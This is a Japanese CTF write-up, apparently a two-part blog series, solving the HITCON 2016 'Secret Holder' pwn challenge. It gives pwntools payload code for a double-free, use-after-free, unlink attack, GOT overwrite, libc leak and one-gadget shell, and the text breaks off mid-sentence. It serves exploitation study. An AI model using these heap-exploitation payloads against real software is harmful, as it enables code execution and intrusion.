3d 61 ab 08 00 lea rdi,[rip+0x8ab61] # 161359 <_nl_POSIX_name+0x154> d67f8: 48 8b 10 mov rdx,QWORD PTR [rax] d67fb: e8 70 1c fe ff call b8470 <execve>
execve
で/bin/shを起動したいのですが、引数と環境変数のポインタがNULL、つまりrsi, rdxが0であることが望ましいです。
出てきた候補がシェルを起動してくれるための条件は上から
[rsp+0x30]
と[rax]
が0r12
,r13
が0[rsp+0x70]
と[rax]
が0
と思われますが、One-gadgetの候補が十分少ないので、gdbで確かめながら絞り込むよりも、片っ端から試せばいいよねというのが僕の感想です。 結果を先に書くと、2、3試したらうまくいきました。
GOT Overwriteとlibcのベースアドレスのリーク
前述と同様にしてGOT Overwriteします。
はじめに、small secretのポインタをfreeのGOTに向けます。
次に、freeのGOTをputsのpltでのアドレスで上書きします。
最後に、small secretには__libc_start_main
のアドレスを入れます。
以上の操作により、wipe(small)でputs(__libc_start_main
)したことになります。
(くどいですが、言い換えるとlibcの関数のアドレスをputsさせることになります)
補足)解法2(fastbinsを使わない解法※前編参照)ではhugeとsmallはメモリ上では同じアドレスになるようにmallocしてあります。 よって、hugeへの書き込みはsmallへの書き込みに相当します。
"""GOT overwrite""" renew(huge, ''.join([ # 0x0x6020b0-0x18 (0x602098): '\0' * 0x10, # (padding) p64(0), # big_secret p64(small_secret), # huge_secret p64(got["free"]), # small_secret p32(1) * 3 # holding_{big,huge,small}_secret ])) renew(small, p64(addr["puts"])) # puts(__libc_start_main) <- free(small) """leak libc base address""" renew(huge, ''.join([ p64(got["__libc_start_main"]) ])) wipe(small) ret = r.recvline()[:-1] # trim '\n' libc_base_addr = u64(ret.ljust(8, '\0')) libc_base_addr -= offset["__libc_start_main"] print "libc base address = %#x" % libc_base_addr
One-gadget RCE 発動→シェル起動
候補のOne-gadgetを片っ端から試すだけです。
注意点は一見関係が無さそうに見える_DYNAMIC
なんちゃらがあるアドレスを指定することです。
offset = { "system": 0x3f4d0, "/bin/sh": 0x161359, "__libc_start_main": 0x201a0, # "One-gadget": 0xb8a38, # $r12 == 0 && r13 == 0 # "One-gadget": 0xd67ec, # *($rsp+0x70) == 0 && *$rax == 0 "One-gadget": 0xd67e5, # *($rsp+0x70) == 0 && *$rax == 0 ... snip ... """launch shell""" renew(huge, ''.join([ p64(got["puts"]), # small_secret p32(1) * 3, ])) raw_input('Press Enter to continue: ') renew(small, p64(libc_base_addr + offset["One-gadget"])) r.interactive()
余談
Unlink AttackでのXはhuge_secret
でもいいが、後々これは微妙な理由
まずUnlink Attackにより、X-0x18
から始まるメモリをいじれることになります。
X-0x18はsmall_secret
では、0x6020b0-0x18=0x602098でstdoutの下になりますが、
huge_secret
では、0x6020a8-0x18=0x602090でstdoutの位置になります。
.bss
セクションのstdoutを参照するコードブロックがあり、それがmain相当の関数の冒頭で呼ばれるset_alarm()
なので、あとでmainの先頭に戻ることを前提にすると、stdoutを破壊してはなりません。
値を予想できないように見えるor予想するのがめんどくさいのでsmall_secret
をXとしてUnlink Attackしたほうが楽というわけです(この問題良く出来てるなぁ)。
set_alarm: 0000000000400c81 mov rbp, rsp 0000000000400c84 mov rax, qword [ds:stdout] 0000000000400c8b mov ecx, 0x0 ; argument "size" for method j_setvbuf 0000000000400c90 mov edx, 0x2 ; argument "type" for method j_setvbuf 0000000000400c95 mov esi, 0x0 ; argument "buf" for method j_setvbuf 0000000000400c9a mov rdi, rax ; argument "stream" for method j_setvbuf 0000000000400c9d call j_setvbuf 0000000000400ca2 mov esi, 0x400c68 ; argument "func" for method j_signal 0000000000400ca7 mov edi, 0xe ; argument "sig" for method j_signal 0000000000400cac call j_signal 0000000000400cb1 mov edi, 0x3c ; argument "seconds" for method j_alarm 0000000000400cb6 mov eax, 0x0 0000000000400cbb call j_alarm 0000000000400cc0 pop rbp 0000000000400cc1 ret ; endp
ROPの最後にmain()相当の関数に戻るのではなく、mainの途中に戻るのはダメな理由
r.send(''.join([ '\0' * (0x10 + 8), # (1), +8 = old $rbp p64(rop["pop rdi; ret"]), # rdi = argument of puts() p64(got["__libc_start_main"]), # arg p64(addr["puts"]), # puts address of __libc_start_main() p64(addr["main"]), # recall main() ]))
まずは上のROPの実行対象のアセンブリを書き出してみます。 このとき、スタックオーバーフローを起こすためにmygetsなるgadgetを最初に呼んでいるのでそれも忘れずに書き出します。
# mygets mov edi,0x400e80 call 4006c0 <puts@plt> mov rax,QWORD PTR [rip+0x2016af] mov edx,0x61a80 mov rsi,rax mov edi,0x0 mov eax,0x0 call 400700 <read@plt> nop mov rax,QWORD PTR [rbp-0x8] xor rax,QWORD PTR fs:0x28 je 400a25 <exit@plt+0x2b5> call 4006d0 <__stack_chk_fail@plt> leave ret # popret pop rdi ret # puts(); jmp QWORD PTR [rip+0x20195a] push 0x1 jmp 4006a0 <free@plt-0x10> # main() push rbp mov rbp,rsp sub rsp,0x20 mov rax,QWORD PTR fs:0x28 mov QWORD PTR [rbp-0x8],rax xor eax,eax mov eax,0x0 call 400c80 <exit@plt+0x510> ... snipped ...
今回のスタックオーバーフローは、return addressまで0をパッディングしました。
ということはsaved $rbp(old $rbp)は0に書き換わります。
で、よく見ると上のアセンブリ列には悪しきleave
命令があります!
leave
命令の疑似命令はこうです。
IF StackAddressSize = 32 THEN ESP ← EBP; ELSE IF StackAddressSize = 64 THEN RSP ←RBP; FI; ELSE IF StackAddressSize = 16 THEN SP ← BP; FI; FI; IF OperandSize = 32 THEN EBP ← Pop(); ELSE IF OperandSize = 64 THEN RBP ← Pop(); FI; ELSE IF OperandSize = 16 THEN BP ← Pop(); FI; FI;
困りますね。ROPを発動するとleave命令とsaved $rbpのせいで、$rbpが0になってしまいます。
この状態でmainの途中から実行してもうまくいくはずがありません。というかセグフォで実際うまくいきません。
alarmを殺すことは忘れて大人しくmain()の先頭に戻ることが今回求められます。
main()の先頭に戻るとmov rbp,rsp
によりrbpの値がいい感じに復元されます(幸いにも$rspはROPで破壊されていません)。
お手軽Exploitコードのデバッグ方法
今回気づいた方法です。 Exploitコードに残してありますが、
raw_input('Press Enter to continue: ')
を入れると簡易的なブレークポイントとして機能します。
つまり、その行に到達して攻撃ペイロードの送信が止まります。
あとは、次のコマンドのようにして、gdbから起動中のプロセスにアタッチするとExploitコードのデバッグが可能になります。
プロセスのアタッチにはroot権限が必要なのでお忘れなく。
# pgrep
コマンド便利っすね
sudo gdb -q SecretHolder -x SecretHolder.gdb -p `pgrep SecretHolder`
pwntoolsで r.interactive()
でも止められますけど、とある条件で送られるペイロードが化けるようにみえるのでおすすめできません。
socatとgdb-serverの組み合わせによるデバッグでも、なぜかペイロードが化けるのでおすすめできません(問題によって化けなかったりして厄介だな)。
完成したExploitコード
gistに上げてあります。
https://gist.github.com/K-atc/0b48c901d705ae9bdbda40085d5c87f2
くぅ〜疲れましたっ><
これにて完結です!
Secret Holderは正しくいい問題でした。
(Unsafe)Unlink AttackやROPが初めての方はぜひ解いてみてください〜
別解を見つけた方はぜひご自身のブログで公開し、友利奈緒までご一報ぐださいませ。
CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 前編
今週末はぼっちで過去問の研究をしてました。本エントリーはそれの成果報告です。 題材は、先週開催されたHITCON 2016 QualsよりSecret Holderです。 100点問題のくせに結構な手間がかかる問題ですが、良問だと思うのでみなさんに紹介します。
先にExploitの流れを図で示します。 前編はUnlink Attackまでです。
- キーワード
- 環境・解くのに使ったもの
- 読者の前提
- 初期フェーズ
- 模索フェーズ
- チャンクヘッダ操作用のバッファの確保(+double-free)
- UAFフェーズ(+Unlink Attack)
- 後編
- 参考文献
キーワード
- malloc(mmmap, sbrk)
- fastbins
- double-free
- Use After Free (UAF)
- Unlink Attack
- stack smashing
- stack canary
- Return Oriented Programming (ROP)
- GOT Overwrite
- One-gadget RCE
環境・解くのに使ったもの
環境
% uname -r 4.7.6-1-ARCH % pacman -Q glibc glibc 2.24-2
GUI
- Hopper
shell
- readelf
- objdump
- strings
- grep/egrep
exploit
- python2+pwntools
debug
- peda (gdb)
読者の前提
初期フェーズ
表層解析
x86-64バイナリで、strippedです。 static linked binaryではなさそうです。
[katc@K_atc SecretHolder]$ file SecretHolder SecretHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped
残念ながらNXビットが有効です、シェルコードを送る問題ではなさそうです。
[katc@K_atc SecretHolder]$ ~/bin/checksec.sh/checksec --file SecretHolder RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY FORTIFIED FORTIFY-able FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 2 SecretHolder
動的解析その1
一通り動かしてみると、こんな感じになります。
[katc@K_atc SecretHolder]$ ./SecretHolder Hey! Do you have any secret? I can help you to hold your secrets, and no one will be able to see it :) 1. Keep secret 2. Wipe secret 3. Renew secret 1 Which level of secret do you want to keep? 1. Small secret 2. Big secret 3. Huge secret 2 Tell me your secret: big secret 1. Keep secret 2. Wipe secret 3. Renew secret 3 Which Secret do you want to renew? 1. Small secret 2. Big secret 3. Huge secret 2 Tell me your secret: big big secret 1. Keep secret 2. Wipe secret 3. Renew secret 2 Which Secret do you want to wipe? 1. Small secret 2. Big secret 3. Huge secret 2 1. Keep secret 2. Wipe secret 3. Renew secret ^C
秘密を大きさ別に管理できるプログラムのようです。 機能は次のとおりです。
- keep: small, big, huge ごとに秘密を入力する
- wipe: 秘密1つを消す
- renew: 秘密1つを上書きする
秘密にフラグが入っていてそれを読み出す問題もありえますが、 フラグを読み出す処理がバイナリに含まれていないのでシェルを起動する問題と判断できます。
静的解析
Hopperにバイナリを食わせ、ルーティンや変数のラベルを付けなおしてデコンパイルし、読みやすく整形すると次のコードのようになります。
char* big_secret; // 0x6020a0 char* huge_secret; // 0x6020a8 char* small_secret; // 0x6020b0 int32_t holding_big_secret; // 0x6020b8 int32_t holding_huge_secret; // 0x6020bc int32_t holding_smalll_secret; // 0x6020c0 function wipe_secret { var_8 = *0x28; puts("Which Secret do you want to wipe?"); puts("1. Small secret"); puts("2. Big secret"); puts("3. Huge secret"); memset(var_10, 0x0, 0x4); read(0x0, var_10, 0x4); rax = atoi(var_10); rax = rax; if (rax == 0x1) { rax = *small_secret; free(rax); *(int32_t *)holding_smalll_secret = 0x0; } if (rax == 0x3) { rax = *huge_secret; free(rax); *(int32_t *)holding_huge_secret = 0x0; } if (rax == 0x2) { rax = *big_secret; free(rax); *(int32_t *)holding_big_secret = 0x0; } rax = var_8 ^ *0x28; COND = rax == 0x0; if (!COND) { rax = __stack_chk_fail(); } return rax; } function renew_secret { var_8 = *0x28; puts("Which Secret do you want to renew?"); puts("1. Small secret"); puts("2. Big secret"); puts("3. Huge secret"); memset(var_10, 0x0, 0x4); read(0x0, var_10, 0x4); rax = atoi(var_10); rax = rax; if ((rax == 0x1) && (*(int32_t *)holding_smalll_secret != 0x0)) { puts("Tell me your secret: "); read(0x0, *small_secret, 0x28); } if ((rax == 0x3) && (*(int32_t *)holding_huge_secret != 0x0)) { puts("Tell me your secret: "); read(0x0, *huge_secret, 0x61a80); } if ((rax == 0x2) && (*(int32_t *)holding_big_secret != 0x0)) { puts("Tell me your secret: "); read(0x0, *big_secret, 0xfa0); } rax = var_8 ^ *0x28; COND = rax == 0x0; if (!COND) { rax = __stack_chk_fail(); } return rax; } function keep_secret { var_8 = *0x28; // stack canary puts("Which level of secret do you want to keep?"); puts("1. Small secret"); puts("2. Big secret"); puts("3. Huge secret"); memset(var_10, 0x0, 0x4); read(0x0, var_10, 0x4); rax = atoi(var_10); if (rax == 0x1) { if (*(int32_t *)holding_smalll_secret == 0x0) { *small_secret = calloc(0x1, 0x28); *(int32_t *)holding_smalll_secret = 0x1; puts("Tell me your secret: "); read(0x0, *small_secret, 0x28); } } if (rax == 0x3) { if (*(int32_t *)holding_huge_secret == 0x0) { *huge_secret = calloc(0x1, 0x61a80); *(int32_t *)holding_huge_secret = 0x1; puts("Tell me your secret: "); read(0x0, *huge_secret, 0x61a80); } } if (rax == 0x2) { if (*(int32_t *)holding_big_secret == 0x0) { *big_secret = calloc(0x1, 0xfa0); *(int32_t *)holding_big_secret = 0x1; puts("Tell me your secret: "); read(0x0, *big_secret, 0xfa0); } } rax = var_8 ^ *0x28; COND = rax == 0x0; if (!COND) { rax = __stack_chk_fail(); } return rax; } void alarm_handler { // 0x400c68 puts("Timeout!"); exit(0x1); return; } function set_alarm { rax = *stdout; setvbuf(rax, 0x0, 0x2, 0x0); signal(0xe, 0x400c68); rax = alarm(0x3c); // 60 sec return rax; } function main { set_alarm(); puts("Hey! Do you have any secret?"); puts("I can help you to hold your secrets, and no one will be able to see it :)"); goto loc_400cf7; loc_400cf7: do { do { puts("1. Keep secret"); puts("2. Wipe secret"); puts("3. Renew secret"); memset(var_10, 0x0, 0x4); read(0x0, var_10, 0x4); rax = atoi(var_10); if (rax != 0x2) { break; } wipe_secret(); } while (true); if (rax != 0x3) { break; } renew_secret(); } while (true); if (rax == 0x1) { keep_secret(); } goto loc_400cf7; }
次のことが分かります。
- 60秒のアラームが設定されており、タイムアウトするとプログラムが終了する
- 手元で動かすときはパッチでなんとかする(→パッチ編)
- small, big, huge のバッファのサイズはそれぞれ 0x28, 0xfa0, 0x61a80 で、hugeはsbrk()で確保されないチャンクにありそう(?)
- そのように判断したのはhugeのallocateサイズがバカでかいから
- チャンク2つではどうしようもないのでなんとかせねば
- systemがpltに無いので、Exploit後半でlibcのベースアドレスのリークが必要
- libc.soが配布されてないが、他にいい方法があるのだろうか?
- keepではそのサイズの秘密を保持しているかどうかの変数(holdingなんちゃら)の値が0、renewではそれが1である必要がある。
- wipeではsmall, big, hugeを自由にwipeできる上に、ポインタをNULLで上書きしない(自明なUse After Free)
また、.bssの変数は次の配置になっていることが分かります。
address | name |
---|---|
0x602090 | stdout |
0x6020a0 | big_secret |
0x6020a8 | huge_secret |
0x6020b0 | small_secret |
0x6020b8 | holding_big_secret |
0x6020bc | holding_huge_secret |
0x6020c0 | holding_small_secret |
手詰まり感が出てきたので模索フェーズに入ります。
パッチ編
タイムアップを遅くするのは、こんなコードで実現できます。
BIN = "./SecretHolder" PATCHED_BIN = BIN + ".patched" e = ELF(BIN) if not os.path.exists(PATCHED_BIN): e = ELF(BIN) e.asm(0x400cb1, 'mov edi,0xffffff') e.save(PATCHED_BIN) os.system("chmod +x %s" % PATCHED_BIN) log.info("patched binary") exit()
触ったアセンブリはここです。
set_alarm: 0000000000400c81 mov rbp, rsp 0000000000400c84 mov rax, qword [ds:stdout] 0000000000400c8b mov ecx, 0x0 ; argument "size" for method j_setvbuf 0000000000400c90 mov edx, 0x2 ; argument "type" for method j_setvbuf 0000000000400c95 mov esi, 0x0 ; argument "buf" for method j_setvbuf 0000000000400c9a mov rdi, rax ; argument "stream" for method j_setvbuf 0000000000400c9d call j_setvbuf 0000000000400ca2 mov esi, 0x400c68 ; argument "func" for method j_signal 0000000000400ca7 mov edi, 0xe ; argument "sig" for method j_signal 0000000000400cac call j_signal 0000000000400cb1 mov edi, 0x3c ; argument "seconds" for method j_alarm 0000000000400cb6 mov eax, 0x0 0000000000400cbb call j_alarm 0000000000400cc0 pop rbp 0000000000400cc1 ret ; endp
便利gdbコマンドの準備
メモリをダンプするxコマンドを叩きまくるのはだるいです。
メモリ構造は決まっていて、それをmallocのチャンクとして把握してますから、
pritty printするスクリプトを書くと捗ります。
ついでに大域変数のアドレスを覚えるのはだるいので変数でエクスポートするのも手です。
# gdbが64ビットのアドレスをうまく扱ってくれないのなんとかならへんの?
set $big_secret = 0x6020a0 set $huge_secret = 0x6020a8 set $small_secret = 0x6020b0 set $holding_big_secret = 0x6020b8 set $holding_huge_secret = 0x6020bc set $holding_small_secret = 0x6020c0 set $mygets = 0x4009f9 define debug printf "holding (small, big, huge) secret = (%d, %d, %d)\n", *$holding_small_secret, *$holding_big_secret, *$holding_huge_secret if *(long long*)$small_secret != 0 printf "small_secret malloced at %#x\n", *$small_secret # x/4xg *$small_secret - 16 printf " prev_size = %#16lx\n", *(*((long long*)$small_secret) - 16) printf " size = %#16lx\n", *(*((long long*)$small_secret) - 8) printf " fd = %#16lx\n", *(*((long long*)$small_secret) + 0) printf " bk = %#16lx\n", *(*((long long*)$small_secret) + 8) printf " content = %s\n", *$small_secret end if *(long long*)$big_secret printf "big_secret malloced at %#x\n", *$big_secret # x/4xg *$big_secret - 16 printf " prev_size = %#16lx\n", *(*((long long*)$big_secret) - 16) printf " size = %#16lx\n", *(*((long long*)$big_secret) - 8) printf " fd = %#16lx\n", *(*((long long*)$big_secret) + 0) printf " bk = %#16lx\n", *(*((long long*)$big_secret) + 8) printf " content = %s\n", *($big_secret) end if *(long long*)$huge_secret printf "huge_secret malloced at %#x\n", *(long long*)$huge_secret # x/4xg *(long long*)$huge_secret - 16 printf " prev_size = %#16lx\n", *(*((long long*)$huge_secret) - 16) printf " size = %#16lx\n", *(*((long long*)$huge_secret) - 8) printf " fd = %#16lx\n", *(*((long long*)$huge_secret) + 0) printf " bk = %#16lx\n", *(*((long long*)$huge_secret) + 8) printf " content = %s\n", *((long long*)$huge_secret) end end
スクリプトファイルはgdb起動時に-x
オプションで渡してください。
模索フェーズ
mallocの仕組みをうまく使って、hugeがsmallやbigと同じページに来るようにしたいところです。 ここで簡単な実験をしました(wandbox)。 まず次のコードを書きました。
#include <stdio.h> #include <stdlib.h> // 元ネタ:HITOCON 2016 Quals - Secret Holder (Pwn100) int main() { void* mapped; puts("small malloc "); mapped = malloc(0x20); printf("allocated at %#x\n", mapped); free(mapped); // main+66 puts("1st huge malloc "); mapped = malloc(0x61a80); printf("allocated at %#x\n", mapped); free(mapped); // main+119 // main+129 puts("2nd huge malloc"); mapped = malloc(0x61a80); printf("allocated at %#x\n", mapped); // main+165 free(mapped); // main+177 return 0; }
これをコンパイルし実行すると次の結果になります。
small malloc allocated at 0x1d9d010 1st huge malloc allocated at 0x5916d010 2nd huge malloc allocated at 0x1d9d010
# allocated to な気がしてきたゾ
気づきましたか?hugeに相当するチャンクがsmallの場所に確保されました! これは使えるぞい。
もう少しこの挙動を追っていきます。 システムコールをトレースした結果が次です。
% strace ./test execve("./test", ["./test"], [/* 54 vars */]) = 0 brk(NULL) = 0x203d000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=266935, ...}) = 0 mmap(NULL, 266935, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fc59d174000 close(3) = 0 open("/usr/lib/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\3\2\0\0\0\0\0"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=1951744, ...}) = 0 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc59d172000 mmap(NULL, 3791152, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fc59cbf6000 mprotect(0x7fc59cd8b000, 2093056, PROT_NONE) = 0 mmap(0x7fc59cf8a000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x194000) = 0x7fc59cf8a000 mmap(0x7fc59cf90000, 14640, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fc59cf90000 close(3) = 0 arch_prctl(ARCH_SET_FS, 0x7fc59d173400) = 0 mprotect(0x7fc59cf8a000, 16384, PROT_READ) = 0 mprotect(0x600000, 4096, PROT_READ) = 0 mprotect(0x7fc59d1b6000, 4096, PROT_READ) = 0 munmap(0x7fc59d174000, 266935) = 0 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0 brk(NULL) = 0x203d000 brk(0x205e000) = 0x205e000 write(1, "small malloc \n", 14small malloc ) = 14 write(1, "allocated at 0x203d420\n", 23allocated at 0x203d420 ) = 23 write(1, "1st huge malloc \n", 171st huge malloc ) = 17 mmap(NULL, 401408, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc59d110000 write(1, "allocated at 0x9d110010\n", 24allocated at 0x9d110010 ) = 24 munmap(0x7fc59d110000, 401408) = 0 write(1, "2nd huge malloc\n", 162nd huge malloc ) = 16 brk(0x20bf000) = 0x20bf000 write(1, "allocated at 0x203d420\n", 23allocated at 0x203d420 ) = 23 exit_group(0) = ? +++ exited with 0 +++
hugeの1回目のmallocではmmmap()が発行されましたが、2回目ではbrk()が使われています。
次にmmap()とsbrk()の分かれ目をお勉強します。 mallocの日本語資料はmalloc(3))のメモリ構造が秀逸だと思います。
sYSMALLOc()の動きについて簡単に説明します。ここではmain_arenaでないarenaの場合の説明については除きます。 要求サイズnbがmp_.mmap_threshold以上の場合、mmap()で領域の確保を行います。この部分の説明は別章「6. mmapped chunkの確保、解放」にて行います。nbがmp_.mmap_threshold未満の場合ヒープ領域を拡張します。次の式で拡張サイズを算出します。
nb + mp_.top_pad + MINSIZE これよりav->topのサイズを引いた(未使用領域も考慮した)サイズを拡張サイズとします。更にこのサイズをページサイズに換算します。この様にして求めたサイズでsbrk()をコールしてヒープ領域を拡張します。得られた領域をav->topに設定します。この中からnbのchunkを切り出しそのアドレスをリターンします。メモリプールがない状態でsYSMALLOc()が呼ばれた場合も同様の流れでメモリプールの生成が行われます。ただメモリプールの先頭を8バイト境界になる様に調整する所が異なります。そのアドレスがav->topとして設定されます。 public_mALLOc()に戻った後、arenaのロックを解除し得られたアドレスをコール側に戻します。
これによると、要求サイズがthresholdを超えるかどうかでmmap()が発動するかどうか決まるようです。 もしこのthresholdが固定値だったら、無事終了😇になってしまいそうです。手詰まりになってしまった根本的な原因がここにありました。
thresholdの更新に気をつけながらglibcのソースコードを読解して実験での動作の裏付けします。 malloc.cを見ると、 「要求サイズnbがmp_.mmap_threshold以上の場合、mmap()で領域の確保を行います」は次のコード①、②で裏付けられます。
2272 /* 2273 If have mmap, and the request size meets the mmap threshold, and 2274 the system supports mmap, and there are few enough currently 2275 allocated mmapped regions, try to directly map this request 2276 rather than expanding top. 2277 */ 2278 2279 if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) && 2280 (mp_.n_mmaps < mp_.n_mmaps_max)) ① 2281 { 2282 char *mm; /* return value from mmap call*/ 2283 2284 try_mmap: 2285 /* 2286 Round up size to nearest page. For mmapped chunks, the overhead 2287 is one SIZE_SZ unit larger than for normal chunks, because there 2288 is no following chunk whose prev_size field could be used. 2289 2290 See the front_misalign handling below, for glibc there is no 2291 need for further alignments unless we have have high alignment. 2292 */ 2293 if (MALLOC_ALIGNMENT == 2 * SIZE_SZ) 2294 size = (nb + SIZE_SZ + pagemask) & ~pagemask; 2295 else 2296 size = (nb + SIZE_SZ + MALLOC_ALIGN_MASK + pagemask) & ~pagemask; 2297 tried_mmap = true; 2298 2299 /* Don't try if size wraps around 0 */ 2300 if ((unsigned long) (size) > (unsigned long) (nb)) 2301 { 2302 mm = (char *) (MMAP (0, size, PROT_READ | PROT_WRITE, 0)); ②
thresholdが更新されることは__libc_free()
から分かります。
mmapで確保されたチャンクではチャンクのサイズが現在のthresholdよりも大きいときに、
mp_.mmap_threshold = chunksize (p)
すなわちthresholdの更新処理が走ります。
実験のコードでは1回目のhugeのfree()
のあとに更新があったため、2回目ではsbrk()
が起こり、smallと同じページに確保されるようになったと考えられます。
2907 void 2908 __libc_free (void *mem) 2909 { 2910 mstate ar_ptr; 2911 mchunkptr p; /* chunk corresponding to mem */ 2912 2913 void (*hook) (void *, const void *) 2914 = atomic_forced_read (__free_hook); 2915 if (__builtin_expect (hook != NULL, 0)) 2916 { 2917 (*hook)(mem, RETURN_ADDRESS (0)); 2918 return; 2919 } 2920 2921 if (mem == 0) /* free(0) has no effect */ 2922 return; 2923 2924 p = mem2chunk (mem); 2925 2926 if (chunk_is_mmapped (p)) /* release mmapped memory. */ 2927 { 2928 /* see if the dynamic brk/mmap threshold needs adjusting */ 2929 if (!mp_.no_dyn_threshold 2930 && p->size > mp_.mmap_threshold 2931 && p->size <= DEFAULT_MMAP_THRESHOLD_MAX) 2932 { 2933 mp_.mmap_threshold = chunksize (p); 2934 mp_.trim_threshold = 2 * mp_.mmap_threshold; 2935 LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, 2936 mp_.mmap_threshold, mp_.trim_threshold); 2937 } 2938 munmap_chunk (p); 2939 return; 2940 } 2941 2942 ar_ptr = arena_for_chunk (p); 2943 _int_free (ar_ptr, p, 0); 2944 }
チャンクヘッダ操作用のバッファの確保(+double-free)
後のUAFで幾つかのfree済みのチャンクを書き換えたり、偽のチャンクを作ったりできる余裕ができるように、
攻撃用のバッファはhugeとします。
まず、模索フェーズで判明した挙動を使ってhuge_secret==small_secret
となるような操作をします。
下のコードのkeep(huge, "huge = small")
までがその手順です。
# 関数定義は最後のパートに掲載するExploitコードで確認してください。操作は文字通りです。
最後の仕上げはsmallのdouble-freeです。
double-freeは一度確保したチャンクを2回freeできる状態にあるようなバグを指します。
一度freeしたのにまだその場所を指すようなポインタが存在するために2度めのfreeが可能なのです。
wipe(small)
によって、hugeが専有していたメモリが解放されます(huge_secret==small_secret
なのでwipe(huge)
と同等。ただし、holding_huge_secret
が0にならないというおまけ付き)。
後でhugeがあった場所にsmallやbigをmallocさせることができるようになります。
(wipe(huge)
でも似たようなことができますが、hugeを通してヒープを書き換えることができなくなるので、これはノーチャンです。)
keep(huge, "") # mmap() wipe(huge) # free() """chunks ps = prev_size -- H ---- -- S ------ (ps = ?) (ps = ?) size= size = 0x30 "huge" "small" ----------- -- B ------ (ps = 0x30) size = 0xfa0 | 1 "big" --------- ----------- """ """double-free""" keep(small, "small") wipe(small) # first free(S) keep(huge, "huge = small") # sbrk(), make H wipe(small) # second free(S)
参考までに、最後のwipe(small)
をした場合、しなかった場合で、
上のコードの続きでkeep(small)
, keep(big)
した場合のチャンク内容をこの順に示します。
gdb-peda$ debug holding (small, big, huge) secret = (1, 1, 1) small_secret malloced at 0xe19010 prev_size = 0 size = 0x31 fd = 0x73737373 bk = 0xa content = ssssssss big_secret malloced at 0xe19040 prev_size = 0 size = 0xfb1 fd = 0x62626262 bk = 0xa content = bbbbbbbb huge_secret malloced at 0xe19010 prev_size = 0 size = 0x31 fd = 0x73737373 bk = 0xa content = ssssssss
gdb-peda$ debug holding (small, big, huge) secret = (1, 1, 1) small_secret malloced at 0x6b2aa0 prev_size = 0 size = 0x31 fd = 0x73737373 bk = 0xa content = ssssssss big_secret malloced at 0x6b2ad0 prev_size = 0 size = 0xfb1 fd = 0x62626262 bk = 0xa content = bbbbbbbb huge_secret malloced at 0x651010 prev_size = 0 size = 0x61a91 fd = 0x65677568 bk = 0x6c6c616d content = huge = small
UAFフェーズ(+Unlink Attack)
Use After Freeは解放済みのメモリ領域を書き換える攻撃です。 ここでは未使用チャンクのヘッダを書き換えることを目標にします。 これにより、Unlink Attack(※後述)を発動することができます。 さらにUnlink AttackからのGOT Overwriteを目論んでいます。
このフェーズは勉強になるしふくろくん方式で進めていきます。
fastbinsの準備
hugeに対して、smallが少し下、bigがsmallの直下にくると、renew(huge)によってsmallとbigのチャンクヘッダを書き換えることができます。
今は、smallとbigのそのような配置を実現するような手順を考えます。
fastbinsでは、要求サイズが小さい時に取り出されている未使用チャンクのリストです。
LIFOである点がミソです。
もともと隣接していたサイズが0x30の2つのチャンクA,Bがこの順にfastbinsに繋がったらどうなるでしょうか?
次のmalloc(0x28);
では最後に繋がったチャンクBが返ってきます。
そしてBはAに対して0x30だけアドレスが下にあります。さらに、Aがhugeと同じアドレスだった場合は…そうです、Bはhugeに対して少し下に来ますね。これは使えるぞい。
ということで、これまでの手順のコードがこれです。
"""fastbins chunks""" keep(small, "s"*8) keep(big, "b"*8) raw_input('Press Enter to continue: ') renew(huge, ''.join([ "S" * 0x28, # content of S p64(0x30 | 1), # fake size for B; there're two 30 bytes chunks "B" * 0x28, # content of B p64(0x1919 | 1) # fake in-use chunk size (decide "size" by yourself) ])) wipe(small) # fastbins -> small wipe(big) # fastbins -> small -> big
UAFによるチャンクの改変とUnlink Attack
Unlink Attackの説明は、bataさんのkatagaitai勉強会資料が秀逸です。 基本的な説明はそのスライドに譲ります。
ここで補足すべきことは、
- 【今回は】P2はチャンクヘッダ上では未使用で(PREV_INUSE = 0)、free(P)する【※スライドと逆】
- x86-64では、メンバのビット幅は8バイト
- X-0x8はX-0x10, X-0xCはX-0x18と読み替える
ということです。スライドで分かりにくい、Unlink Attack後にXがX-0xCを指す理由は後で解説します。
ではUse After Freeを今回の問題に適用した場合で話を進めます。
「アドレス的にPの直前のメモリP2が利用中だったとする」は隣接したsmallとbigのことになります。
今回はwipe(big) (=free(big))
によりUnlink(Unlinkの意味は後述)します。
XはP2を指していなければなりません。
といことで、しふくろくん方式ではXはsmall_secretになります。
# 後述のfastbinを使わない解法では、Xはhuge_secretでもいいですが、後々これは微妙です。理由は余談で話します。
スライド76の時点では、X(small_secret)はP(=big)を指しています。P2はsmallに当たります。
スライド77のタイミングで、hugeからP2, Pを次のように書き換えます。
- P2のfd/bkメンバはUnlink Attackで使う。fdがX-0x18、bkがX-0x10を指すような値にする
- P2の残りは適当にパディング
- Pのprev_sizeはP2の正しいサイズの0x30にしておく
- P2が未使用であるかのように見せる(PREV_INUSE = 0)ためにPのsizeメンバの値を
